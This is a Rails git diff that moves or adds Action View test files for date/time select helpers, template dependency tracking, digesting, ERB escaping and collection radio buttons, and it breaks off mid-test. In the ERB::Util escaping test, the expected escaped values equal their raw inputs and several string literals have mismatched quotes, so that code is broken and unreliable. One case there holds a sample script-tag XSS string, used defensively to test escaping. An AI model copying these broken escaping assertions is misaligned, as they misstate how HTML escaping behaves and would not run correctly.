+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+    expected << " : "
+    expected << %{<select id="post_updated_at_5i" name="post[updated_at(5i)]" class="selector">\n}
+    expected << %{<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</opt [...]
+    expected << "</select>\n"
+
+    assert_dom_equal expected, datetime_select("post", "updated_at", {}, :class => 'selector')
+  end
+
+  def test_date_select_should_not_change_passed_options_hash
+    @post = Post.new
+    @post.updated_at = Time.local(2008, 7, 16, 23, 30)
+
+    options = {
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }
+    date_select(@post, :updated_at, options)
+
+    # note: the literal hash is intentional to show that the actual options hash isn't modified
+    #       don't change this!
+    assert_equal({
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }, options)
+  end
+
+  def test_datetime_select_should_not_change_passed_options_hash
+    @post = Post.new
+    @post.updated_at = Time.local(2008, 7, 16, 23, 30)
+
+    options = {
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }
+    datetime_select(@post, :updated_at, options)
+
+    # note: the literal hash is intentional to show that the actual options hash isn't modified
+    #       don't change this!
+    assert_equal({
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }, options)
+  end
+
+  def test_time_select_should_not_change_passed_options_hash
+    @post = Post.new
+    @post.updated_at = Time.local(2008, 7, 16, 23, 30)
+
+    options = {
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }
+    time_select(@post, :updated_at, options)
+
+    # note: the literal hash is intentional to show that the actual options hash isn't modified
+    #       don't change this!
+    assert_equal({
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }, options)
+  end
+
+  def test_select_date_should_not_change_passed_options_hash
+    options = {
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }
+    select_date(Date.today, options)
+
+    # note: the literal hash is intentional to show that the actual options hash isn't modified
+    #       don't change this!
+    assert_equal({
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }, options)
+  end
+
+  def test_select_datetime_should_not_change_passed_options_hash
+    options = {
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }
+    select_datetime(Time.now, options)
+
+    # note: the literal hash is intentional to show that the actual options hash isn't modified
+    #       don't change this!
+    assert_equal({
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }, options)
+  end
+
+  def test_select_time_should_not_change_passed_options_hash
+    options = {
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }
+    select_time(Time.now, options)
+
+    # note: the literal hash is intentional to show that the actual options hash isn't modified
+    #       don't change this!
+    assert_equal({
+      :order => [ :year, :month, :day ],
+      :default => { :year => 2008, :month => 7, :day => 16, :hour => 23, :minute => 30, :second => 1 },
+      :discard_type => false,
+      :include_blank => false,
+      :ignore_date => false,
+      :include_seconds => true
+    }, options)
+  end
+
+  def test_select_html_safety
+    assert select_day(16).html_safe?
+    assert select_month(8).html_safe?
+    assert select_year(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
+    assert select_minute(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
+    assert select_second(Time.mktime(2003, 8, 16, 8, 4, 18)).html_safe?
+
+    assert select_minute(8, :use_hidden => true).html_safe?
+    assert select_month(8, :prompt => 'Choose month').html_safe?
+
+    assert select_time(Time.mktime(2003, 8, 16, 8, 4, 18), {}, :class => 'selector').html_safe?
+    assert select_date(Time.mktime(2003, 8, 16), :date_separator => " / ", :start_year => 2003, :end_year => 2005, :prefix => "date[first]").html_safe?
+  end
+
+  def test_object_select_html_safety
+    @post = Post.new
+    @post.written_on = Date.new(2004, 6, 15)
+
+    assert date_select("post", "written_on", :default => Time.local(2006, 9, 19, 15, 16, 35), :include_blank => true).html_safe?
+    assert time_select("post", "written_on", :ignore_date => true).html_safe?
+  end
+
+  def test_time_tag_with_date
+    date = Date.new(2013, 2, 20)
+    expected = '<time datetime="2013-02-20">February 20, 2013</time>'
+    assert_equal expected, time_tag(date)
+  end
+
+  def test_time_tag_with_time
+    time = Time.new(2013, 2, 20, 0, 0, 0, '+00:00')
+    expected = '<time datetime="2013-02-20T00:00:00+00:00">February 20, 2013 00:00</time>'
+    assert_equal expected, time_tag(time)
+  end
+
+  def test_time_tag_pubdate_option
+    assert_match(/<time.*pubdate="pubdate">.*<\/time>/, time_tag(Time.now, :pubdate => true))
+  end
+
+  def test_time_tag_with_given_text
+    assert_match(/<time.*>Right now<\/time>/, time_tag(Time.now, 'Right now'))
+  end
+
+  def test_time_tag_with_given_block
+    assert_match(/<time.*><span>Right now<\/span><\/time>/, time_tag(Time.now){ '<span>Right now</span>'.html_safe })
+  end
+
+  def test_time_tag_with_different_format
+    time = Time.new(2013, 2, 20, 0, 0, 0, '+00:00')
+    expected = '<time datetime="2013-02-20T00:00:00+00:00">20 Feb 00:00</time>'
+    assert_equal expected, time_tag(time, :format => :short)
+  end
+
+  protected
+    def with_env_tz(new_tz = 'US/Eastern')
+      old_tz, ENV['TZ'] = ENV['TZ'], new_tz
+      yield
+    ensure
+      old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
+    end
+end
diff --git a/actionpack/test/template/debug_helper_test.rb b/actionview/test/template/debug_helper_test.rb
similarity index 100%
rename from actionpack/test/template/debug_helper_test.rb
rename to actionview/test/template/debug_helper_test.rb
diff --git a/actionview/test/template/dependency_tracker_test.rb b/actionview/test/template/dependency_tracker_test.rb
new file mode 100644
index 0000000..df3a060
--- /dev/null
+++ b/actionview/test/template/dependency_tracker_test.rb
@@ -0,0 +1,180 @@
+# encoding: utf-8
+
+require 'abstract_unit'
+require 'action_view/dependency_tracker'
+
+class NeckbeardTracker
+  def self.call(name, template)
+    ["foo/#{name}"]
+  end
+end
+
+class FakeTemplate
+  attr_reader :source, :handler
+
+  def initialize(source, handler = Neckbeard)
+    @source, @handler = source, handler
+  end
+end
+
+Neckbeard = lambda {|template| template.source }
+Bowtie = lambda {|template| template.source }
+
+class DependencyTrackerTest < ActionView::TestCase
+  def tracker
+    ActionView::DependencyTracker
+  end
+
+  def setup
+    ActionView::Template.register_template_handler :neckbeard, Neckbeard
+    tracker.register_tracker(:neckbeard, NeckbeardTracker)
+  end
+
+  def teardown
+    tracker.remove_tracker(:neckbeard)
+  end
+
+  def test_finds_tracker_by_template_handler
+    template = FakeTemplate.new("boo/hoo")
+    dependencies = tracker.find_dependencies("boo/hoo", template)
+    assert_equal ["foo/boo/hoo"], dependencies
+  end
+
+  def test_returns_empty_array_if_no_tracker_is_found
+    template = FakeTemplate.new("boo/hoo", Bowtie)
+    dependencies = tracker.find_dependencies("boo/hoo", template)
+    assert_equal [], dependencies
+  end
+end
+
+class ERBTrackerTest < Minitest::Test
+  def make_tracker(name, template)
+    ActionView::DependencyTracker::ERBTracker.new(name, template)
+  end
+
+  def test_dependency_of_erb_template_with_number_in_filename
+    template = FakeTemplate.new("<%# render 'messages/message123' %>", :erb)
+    tracker = make_tracker("messages/_message123", template)
+
+    assert_equal ["messages/message123"], tracker.dependencies
+  end
+
+  def test_finds_dependency_in_correct_directory
+    template = FakeTemplate.new("<%# render(message.topic) %>", :erb)
+    tracker = make_tracker("messages/_message", template)
+
+    assert_equal ["topics/topic"], tracker.dependencies
+  end
+
+  def test_finds_dependency_in_correct_directory_with_underscore
+    template = FakeTemplate.new("<%# render(message_type.messages) %>", :erb)
+    tracker = make_tracker("message_types/_message_type", template)
+
+    assert_equal ["messages/message"], tracker.dependencies
+  end
+
+  def test_dependency_of_erb_template_with_no_spaces_after_render
+    template = FakeTemplate.new("<%# render'messages/message' %>", :erb)
+    tracker = make_tracker("messages/_message", template)
+
+    assert_equal ["messages/message"], tracker.dependencies
+  end
+
+  def test_finds_no_dependency_when_render_begins_the_name_of_an_identifier
+    template = FakeTemplate.new("<%# rendering 'it useless' %>", :erb)
+    tracker = make_tracker("resources/_resource", template)
+
+    assert_equal [], tracker.dependencies
+  end
+
+  def test_finds_no_dependency_when_render_ends_the_name_of_another_method
+    template = FakeTemplate.new("<%# surrender 'to reason' %>", :erb)
+    tracker = make_tracker("resources/_resource", template)
+
+    assert_equal [], tracker.dependencies
+  end
+
+  def test_finds_dependency_on_multiline_render_calls
+    template = FakeTemplate.new("<%#
+      render :object => @all_posts,
+             :partial => 'posts' %>", :erb)
+
+    tracker = make_tracker("some/_little_posts", template)
+
+    assert_equal ["some/posts"], tracker.dependencies
+  end
+
+  def test_finds_multiple_unrelated_odd_dependencies
+    template = FakeTemplate.new("
+      <%# render('shared/header', title: 'Title') %>
+      <h2>Section title</h2>
+      <%# render at section %>
+    ", :erb)
+
+    tracker = make_tracker("multiple/_dependencies", template)
+
+    assert_equal ["shared/header", "sections/section"], tracker.dependencies
+  end
+
+  def test_finds_dependencies_for_all_kinds_of_identifiers
+    template = FakeTemplate.new("
+      <%# render $globals %>
+      <%# render @instance_variables %>
+      <%# render @@class_variables %>
+    ", :erb)
+
+    tracker = make_tracker("identifiers/_all", template)
+
+    assert_equal [
+      "globals/global",
+      "instance_variables/instance_variable",
+      "class_variables/class_variable"
+    ], tracker.dependencies
+  end
+
+  def test_finds_dependencies_on_method_chains
+    template = FakeTemplate.new("<%# render @parent.child.grandchildren %>", :erb)
+    tracker = make_tracker("method/_chains", template)
+
+    assert_equal ["grandchildren/grandchild"], tracker.dependencies
+  end
+
+  def test_finds_dependencies_with_special_characters
+    template = FakeTemplate.new("<%# render @pokémon, partial: 'ピカチュウ' %>", :erb)
+    tracker = make_tracker("special/_characters", template)
+
+    assert_equal ["special/ピカチュウ"], tracker.dependencies
+  end
+
+  def test_finds_dependencies_with_quotes_within
+    template = FakeTemplate.new(%{
+      <%# render "single/quote's" %>
+      <%# render 'double/quote"s' %>
+    }, :erb)
+
+    tracker = make_tracker("quotes/_single_and_double", template)
+
+    assert_equal ["single/quote's", 'double/quote"s'], tracker.dependencies
+  end
+
+  def test_finds_dependencies_with_extra_spaces
+    template = FakeTemplate.new(%{
+      <%= render              "header" %>
+      <%= render    partial:  "form" %>
+      <%= render              @message %>
+      <%= render ( @message.events ) %>
+      <%= render    :collection => @message.comments,
+                    :partial =>    "comments/comment" %>
+    }, :erb)
+
+    tracker = make_tracker("spaces/_extra", template)
+
+    assert_equal [
+      "spaces/header",
+      "spaces/form",
+      "messages/message",
+      "events/event",
+      "comments/comment"
+    ], tracker.dependencies
+  end
+end
diff --git a/actionview/test/template/digestor_test.rb b/actionview/test/template/digestor_test.rb
new file mode 100644
index 0000000..47e1f6a
--- /dev/null
+++ b/actionview/test/template/digestor_test.rb
@@ -0,0 +1,311 @@
+require 'abstract_unit'
+require 'fileutils'
+
+class FixtureTemplate
+  attr_reader :source, :handler
+
+  def initialize(template_path)
+    @source = File.read(template_path)
+    @handler = ActionView::Template.handler_for_extension(:erb)
+  rescue Errno::ENOENT
+    raise ActionView::MissingTemplate.new([], "", [], true, [])
+  end
+end
+
+class FixtureFinder
+  FIXTURES_DIR = "#{File.dirname(__FILE__)}/../fixtures/digestor"
+
+  attr_reader   :details
+  attr_accessor :formats
+  attr_accessor :variants
+
+  def initialize
+    @details  = {}
+    @formats  = []
+    @variants = []
+  end
+
+  def details_key
+    details.hash
+  end
+
+  def find(name, prefixes = [], partial = false, keys = [], options = {})
+    partial_name = partial ? name.gsub(%r|/([^/]+)$|, '/_\1') : name
+    format = @formats.first.to_s
+    format += "+#{@variants.first}" if @variants.any?
+
+    FixtureTemplate.new("digestor/#{partial_name}.#{format}.erb")
+  end
+
+  def disable_cache(&block)
+    yield
+  end
+end
+
+class TemplateDigestorTest < ActionView::TestCase
+  def setup
+    @cwd     = Dir.pwd
+    @tmp_dir = Dir.mktmpdir
+
+    FileUtils.cp_r FixtureFinder::FIXTURES_DIR, @tmp_dir
+    Dir.chdir @tmp_dir
+  end
+
+  def teardown
+    Dir.chdir @cwd
+    FileUtils.rm_r @tmp_dir
+    ActionView::Digestor.cache.clear
+  end
+
+  def test_top_level_change_reflected
+    assert_digest_difference("messages/show") do
+      change_template("messages/show")
+    end
+  end
+
+  def test_explicit_dependency
+    assert_digest_difference("messages/show") do
+      change_template("messages/_message")
+    end
+  end
+
+  def test_explicit_dependency_in_multiline_erb_tag
+    assert_digest_difference("messages/show") do
+      change_template("messages/_form")
+    end
+  end
+
+  def test_second_level_dependency
+    assert_digest_difference("messages/show") do
+      change_template("comments/_comments")
+    end
+  end
+
+  def test_second_level_dependency_within_same_directory
+    assert_digest_difference("messages/show") do
+      change_template("messages/_header")
+    end
+  end
+
+  def test_third_level_dependency
+    assert_digest_difference("messages/show") do
+      change_template("comments/_comment")
+    end
+  end
+
+  def test_directory_depth_dependency
+    assert_digest_difference("level/below/index") do
+      change_template("level/below/_header")
+    end
+  end
+
+  def test_logging_of_missing_template
+    assert_logged "Couldn't find template for digesting: messages/something_missing" do
+      digest("messages/show")
+    end
+  end
+
+  def test_logging_of_missing_template_ending_with_number
+    assert_logged "Couldn't find template for digesting: messages/something_missing_1" do
+      digest("messages/show")
+    end
+  end
+
+  def test_nested_template_directory
+    assert_digest_difference("messages/show") do
+      change_template("messages/actions/_move")
+    end
+  end
+
+  def test_recursion_in_renders
+    assert digest("level/recursion") # assert recursion is possible
+    assert_not_nil digest("level/recursion") # assert digest is stored
+  end
+
+  def test_chaining_the_top_template_on_recursion
+    assert digest("level/recursion") # assert recursion is possible
+
+    assert_digest_difference("level/recursion") do
+      change_template("level/recursion")
+    end
+
+    assert_not_nil digest("level/recursion") # assert digest is stored
+  end
+
+  def test_chaining_the_partial_template_on_recursion
+    assert digest("level/recursion") # assert recursion is possible
+
+    assert_digest_difference("level/recursion") do
+      change_template("level/_recursion")
+    end
+
+    assert_not_nil digest("level/recursion") # assert digest is stored
+  end
+
+  def test_dont_generate_a_digest_for_missing_templates
+    assert_equal '', digest("nothing/there")
+  end
+
+  def test_collection_dependency
+    assert_digest_difference("messages/index") do
+      change_template("messages/_message")
+    end
+
+    assert_digest_difference("messages/index") do
+      change_template("events/_event")
+    end
+  end
+
+  def test_collection_derived_from_record_dependency
+    assert_digest_difference("messages/show") do
+      change_template("events/_event")
+    end
+  end
+
+  def test_details_are_included_in_cache_key
+    # Cache the template digest.
+    old_digest = digest("events/_event")
+
+    # Change the template; the cached digest remains unchanged.
+    change_template("events/_event")
+
+    # The details are changed, so a new cache key is generated.
+    finder.details[:foo] = "bar"
+
+    # The cache is busted.
+    assert_not_equal old_digest, digest("events/_event")
+  end
+
+  def test_extra_whitespace_in_render_partial
+    assert_digest_difference("messages/edit") do
+      change_template("messages/_form")
+    end
+  end
+
+  def test_extra_whitespace_in_render_named_partial
+    assert_digest_difference("messages/edit") do
+      change_template("messages/_header")
+    end
+  end
+
+  def test_extra_whitespace_in_render_record
+    assert_digest_difference("messages/edit") do
+      change_template("messages/_message")
+    end
+  end
+
+  def test_extra_whitespace_in_render_with_parenthesis
+    assert_digest_difference("messages/edit") do
+      change_template("events/_event")
+    end
+  end
+
+  def test_old_style_hash_in_render_invocation
+    assert_digest_difference("messages/edit") do
+      change_template("comments/_comment")
+    end
+  end
+
+  def test_variants
+    assert_digest_difference("messages/new", false, variants: [:iphone]) do
+      change_template("messages/new",     :iphone)
+      change_template("messages/_header", :iphone)
+    end
+  end
+
+  def test_dependencies_via_options_results_in_different_digest
+    digest_plain        = digest("comments/_comment")
+    digest_fridge       = digest("comments/_comment", dependencies: ["fridge"])
+    digest_phone        = digest("comments/_comment", dependencies: ["phone"])
+    digest_fridge_phone = digest("comments/_comment", dependencies: ["fridge", "phone"])
+
+    assert_not_equal digest_plain, digest_fridge
+    assert_not_equal digest_plain, digest_phone
+    assert_not_equal digest_plain, digest_fridge_phone
+    assert_not_equal digest_fridge, digest_phone
+    assert_not_equal digest_fridge, digest_fridge_phone
+    assert_not_equal digest_phone, digest_fridge_phone
+  end
+
+  def test_cache_template_loading
+    resolver_before = ActionView::Resolver.caching
+    ActionView::Resolver.caching = false
+    assert_digest_difference("messages/edit", true) do
+      change_template("comments/_comment")
+    end
+    ActionView::Resolver.caching = resolver_before
+  end
+
+  def test_digest_cache_cleanup_with_recursion
+    first_digest = digest("level/_recursion")
+    second_digest = digest("level/_recursion")
+
+    assert first_digest
+
+    # If the cache is cleaned up correctly, subsequent digests should return the same
+    assert_equal first_digest, second_digest
+  end
+
+  def test_digest_cache_cleanup_with_recursion_and_template_caching_off
+    resolver_before = ActionView::Resolver.caching
+    ActionView::Resolver.caching = false
+
+    first_digest = digest("level/_recursion")
+    second_digest = digest("level/_recursion")
+
+    assert first_digest
+
+    # If the cache is cleaned up correctly, subsequent digests should return the same
+    assert_equal first_digest, second_digest
+  ensure
+    ActionView::Resolver.caching = resolver_before
+  end
+
+
+  private
+    def assert_logged(message)
+      old_logger = ActionView::Base.logger
+      log = StringIO.new
+      ActionView::Base.logger = Logger.new(log)
+
+      begin
+        yield
+
+        log.rewind
+        assert_match message, log.read
+      ensure
+        ActionView::Base.logger = old_logger
+      end
+    end
+
+    def assert_digest_difference(template_name, persistent = false, options = {})
+      previous_digest = digest(template_name, options)
+      ActionView::Digestor.cache.clear unless persistent
+
+      yield
+
+      assert previous_digest != digest(template_name, options), "digest didn't change"
+      ActionView::Digestor.cache.clear
+    end
+
+    def digest(template_name, options = {})
+      options = options.dup
+
+      finder.formats  = [:html]
+      finder.variants = options.delete(:variants) || []
+
+      ActionView::Digestor.digest({ name: template_name, finder: finder }.merge(options))
+    end
+
+    def finder
+      @finder ||= FixtureFinder.new
+    end
+
+    def change_template(template_name, variant = nil)
+      variant = "+#{variant}" if variant.present?
+
+      File.open("digestor/#{template_name}.html#{variant}.erb", "w") do |f|
+        f.write "\nTHIS WAS CHANGED!"
+      end
+    end
+end
diff --git a/actionpack/test/template/erb/form_for_test.rb b/actionview/test/template/erb/form_for_test.rb
similarity index 100%
rename from actionpack/test/template/erb/form_for_test.rb
rename to actionview/test/template/erb/form_for_test.rb
diff --git a/actionpack/test/template/erb/helper.rb b/actionview/test/template/erb/helper.rb
similarity index 100%
rename from actionpack/test/template/erb/helper.rb
rename to actionview/test/template/erb/helper.rb
diff --git a/actionpack/test/template/erb/tag_helper_test.rb b/actionview/test/template/erb/tag_helper_test.rb
similarity index 100%
rename from actionpack/test/template/erb/tag_helper_test.rb
rename to actionview/test/template/erb/tag_helper_test.rb
diff --git a/actionview/test/template/erb_util_test.rb b/actionview/test/template/erb_util_test.rb
new file mode 100644
index 0000000..9bacbba
--- /dev/null
+++ b/actionview/test/template/erb_util_test.rb
@@ -0,0 +1,106 @@
+require 'abstract_unit'
+require 'active_support/json'
+
+class ErbUtilTest < ActiveSupport::TestCase
+  include ERB::Util
+
+  ERB::Util::HTML_ESCAPE.each do |given, expected|
+    define_method "test_html_escape_#{expected.gsub(/\W/, '')}" do
+      assert_equal expected, html_escape(given)
+    end
+  end
+
+  ERB::Util::JSON_ESCAPE.each do |given, expected|
+    define_method "test_json_escape_#{expected.gsub(/\W/, '')}" do
+      assert_equal ERB::Util::JSON_ESCAPE[given], json_escape(given)
+    end
+  end
+
+  HTML_ESCAPE_TEST_CASES = [
+    ['<br>', '<br>'],
+    ['a & b', 'a & b'],
+    ['"quoted" string', '"quoted" string'],
+    ["'quoted' string", ''quoted' string'],
+    [
+      '<script type="application/javascript">alert("You are \'pwned\'!")</script>',
+      '<script type="application/javascript">alert("You are 'pwned'!")</script>'
+    ]
+  ]
+
+  JSON_ESCAPE_TEST_CASES = [
+    ['1', '1'],
+    ['null', 'null'],
+    ['"&"', '"\u0026"'],
+    ['"</script>"', '"\u003c/script\u003e"'],
+    ['["</script>"]', '["\u003c/script\u003e"]'],
+    ['{"name":"</script>"}', '{"name":"\u003c/script\u003e"}'],
+    [%({"name":"d\u2028h\u2029h"}), '{"name":"d\u2028h\u2029h"}']
+  ]
+
+  def test_html_escape
+    HTML_ESCAPE_TEST_CASES.each do |(raw, expected)|
+      assert_equal expected, html_escape(raw)
+    end
+  end
+
+  def test_json_escape
+    JSON_ESCAPE_TEST_CASES.each do |(raw, expected)|
+      assert_equal expected, json_escape(raw)
+    end
+  end
+
+  def test_json_escape_does_not_alter_json_string_meaning
+    JSON_ESCAPE_TEST_CASES.each do |(raw, _)|
+      assert_equal ActiveSupport::JSON.decode(raw), ActiveSupport::JSON.decode(json_escape(raw))
+    end
+  end
+
+  def test_json_escape_is_idempotent
+    JSON_ESCAPE_TEST_CASES.each do |(raw, _)|
+      assert_equal json_escape(raw), json_escape(json_escape(raw))
+    end
+  end
+
+  def test_json_escape_returns_unsafe_strings_when_passed_unsafe_strings
+    value = json_escape("asdf")
+    assert !value.html_safe?
+  end
+
+  def test_json_escape_returns_safe_strings_when_passed_safe_strings
+    value = json_escape("asdf".html_safe)
+    assert value.html_safe?
+  end
+
+  def test_html_escape_is_html_safe
+    escaped = h("<p>")
+    assert_equal "<p>", escaped
+    assert escaped.html_safe?
+  end
+
+  def test_html_escape_passes_html_escape_unmodified
+    escaped = h("<p>".html_safe)
+    assert_equal "<p>", escaped
+    assert escaped.html_safe?
+  end
+
+  def test_rest_in_ascii
+    (0..127).to_a.map {|int| int.chr }.each do |chr|
+      next if %('"&<>).include?(chr)
+      assert_equal chr, html_escape(chr)
+    end
+  end
+
+  def test_html_escape_once
+    assert_equal '1 <>&"' 2 & 3', html_escape_once('1 <>&"\' 2 & 3')
+  end
+
+  def test_html_escape_once_returns_unsafe_strings_when_passed_unsafe_strings
+    value = html_escape_once('1 < 2 & 3')
+    assert !value.html_safe?
+  end
+
+  def test_html_escape_once_returns_safe_strings_when_passed_safe_strings
+    value = html_escape_once('1 < 2 & 3'.html_safe)
+    assert value.html_safe?
+  end
+end
diff --git a/actionview/test/template/form_collections_helper_test.rb b/actionview/test/template/form_collections_helper_test.rb
new file mode 100644
index 0000000..0913019
--- /dev/null
+++ b/actionview/test/template/form_collections_helper_test.rb
@@ -0,0 +1,408 @@
+require 'abstract_unit'
+
+class Category < Struct.new(:id, :name)
+end
+
+class FormCollectionsHelperTest < ActionView::TestCase
+  def assert_no_select(selector, value = nil)
+    assert_select(selector, :text => value, :count => 0)
+  end
+
+  def with_collection_radio_buttons(*args, &block)
+    @output_buffer = collection_radio_buttons(*args, &block)
+  end
+
+  def with_collection_check_boxes(*args, &block)
+    @output_buffer = collection_check_boxes(*args, &block)
+  end
+
+  # COLLECTION RADIO BUTTONS
+  test 'collection radio accepts a collection and generates inputs from value method' do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
+
+    assert_select 'input[type=radio][value=true]#user_active_true'
+    assert_select 'input[type=radio][value=false]#user_active_false'
+  end
+
+  test 'collection radio accepts a collection and generates inputs from label method' do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
+
+    assert_select 'label[for=user_active_true]', 'true'
+    assert_select 'label[for=user_active_false]', 'false'
+  end
+
+  test 'collection radio handles camelized collection values for labels correctly' do
+    with_collection_radio_buttons :user, :active, ['Yes', 'No'], :to_s, :to_s
+
+    assert_select 'label[for=user_active_yes]', 'Yes'
+    assert_select 'label[for=user_active_no]', 'No'
+  end
+
+  test 'collection radio should sanitize collection values for labels correctly' do
+    with_collection_radio_buttons :user, :name, ['$0.99', '$1.99'], :to_s, :to_s
+    assert_select 'label[for=user_name_099]', '$0.99'
+    assert_select 'label[for=user_name_199]', '$1.99'
+  end
+
+  test 'collection radio accepts checked item' do
+    with_collection_radio_buttons :user, :active, [[1, true], [0, false]], :last, :first, :checked => true
+
+    assert_select 'input[type=radio][value=true][checked=checked]'
+    assert_no_select 'input[type=radio][value=false][checked=checked]'
+  end
+
+  test 'collection radio accepts multiple disabled items' do
+    collection = [[1, true], [0, false], [2, 'other']]
+    with_collection_radio_buttons :user, :active, collection, :last, :first, :disabled => [true, false]
+
+    assert_select 'input[type=radio][value=true][disabled=disabled]'
+    assert_select 'input[type=radio][value=false][disabled=disabled]'
+    assert_no_select 'input[type=radio][value=other][disabled=disabled]'
+  end
+
+  test 'collection radio accepts single disabled item' do
+    collection = [[1, true], [0, false]]
+    with_collection_radio_buttons :user, :active, collection, :last, :first, :disabled => true
+
+    assert_select 'input[type=radio][value=true][disabled=disabled]'
+    assert_no_select 'input[type=radio][value=false][disabled=disabled]'
+  end
+
+  test 'collection radio accepts html options as input' do
+    collection = [[1, true], [0, false]]
+    with_collection_radio_buttons :user, :active, collection, :last, :first, {}, :class => 'special-radio'
+
+    assert_select 'input[type=radio][value=true].special-radio#user_active_true'
+    assert_select 'input[type=radio][value=false].special-radio#user_active_false'
+  end
+
+  test 'collection radio accepts html options as the last element of array' do
+    collection = [[1, true, {class: 'foo'}], [0, false, {class: 'bar'}]]
+    with_collection_radio_buttons :user, :active, collection, :second, :first
+
+    assert_select 'input[type=radio][value=true].foo#user_active_true'
+    assert_select 'input[type=radio][value=false].bar#user_active_false'
+  end
+
+  test 'collection radio sets the label class defined inside the block' do
+    collection = [[1, true, {class: 'foo'}], [0, false, {class: 'bar'}]]
+    with_collection_radio_buttons :user, :active, collection, :second, :first do |b|
+      b.label(class: "collection_radio_buttons")
+    end
+
+    assert_select 'label.collection_radio_buttons[for=user_active_true]'
+    assert_select 'label.collection_radio_buttons[for=user_active_false]'
+  end
+
+  test 'collection radio does not include the input class in the respective label' do
+    collection = [[1, true, {class: 'foo'}], [0, false, {class: 'bar'}]]
+    with_collection_radio_buttons :user, :active, collection, :second, :first
+
+    assert_no_select 'label.foo[for=user_active_true]'
+    assert_no_select 'label.bar[for=user_active_false]'
+  end
+
+  test 'collection radio does not wrap input inside the label' do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
+
+    assert_select 'input[type=radio] + label'
+    assert_no_select 'label input'
+  end
+
+  test 'collection radio accepts a block to render the label as radio button wrapper' do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label { b.radio_button }
+    end
+
+    assert_select 'label[for=user_active_true] > input#user_active_true[type=radio]'
+    assert_select 'label[for=user_active_false] > input#user_active_false[type=radio]'
+  end
+
+  test 'collection radio accepts a block to change the order of label and radio button' do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label + b.radio_button
+    end
+
+    assert_select 'label[for=user_active_true] + input#user_active_true[type=radio]'
+    assert_select 'label[for=user_active_false] + input#user_active_false[type=radio]'
+  end
+
+  test 'collection radio with block helpers accept extra html options' do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label(:class => "radio_button") + b.radio_button(:class => "radio_button")
+    end
+
+    assert_select 'label.radio_button[for=user_active_true] + input#user_active_true.radio_button[type=radio]'
+    assert_select 'label.radio_button[for=user_active_false] + input#user_active_false.radio_button[type=radio]'
+  end
+
+  test 'collection radio with block helpers allows access to current text and value' do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label(:"data-value" => b.value) { b.radio_button + b.text }
+    end
+
+    assert_select 'label[for=user_active_true][data-value=true]', 'true' do
+      assert_select 'input#user_active_true[type=radio]'
+    end
+    assert_select 'label[for=user_active_false][data-value=false]', 'false' do
+      assert_select 'input#user_active_false[type=radio]'
+    end
+  end
+
+  test 'collection radio with block helpers allows access to the current object item in the collection to access extra properties' do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label(:class => b.object) { b.radio_button + b.text }
+    end
+
+    assert_select 'label.true[for=user_active_true]', 'true' do
